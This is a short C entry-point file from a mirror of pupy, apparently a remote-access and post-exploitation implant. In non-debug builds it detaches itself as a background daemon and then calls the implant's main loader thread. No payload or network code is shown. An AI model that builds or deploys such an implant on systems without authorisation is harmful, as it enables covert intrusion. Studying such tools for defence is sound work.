mirror of https://github.com/n1nj4sec/pupy.git
21 lines
323 B
C
21 lines
323 B
C
#include <sys/types.h>
|
|
#include <unistd.h>
|
|
|
|
#include "pupy_load.h"
|
|
#include "daemonize.h"
|
|
|
|
#ifdef Linux
|
|
#include <mcheck.h>
|
|
#endif
|
|
|
|
int main(int argc, char *argv[], char *env[]) {
|
|
#ifndef DEBUG
|
|
daemonize(argc, argv, env, true);
|
|
#else
|
|
#ifdef Linux
|
|
mtrace();
|
|
#endif
|
|
#endif
|
|
return mainThread(argc, argv, false);
|
|
}
|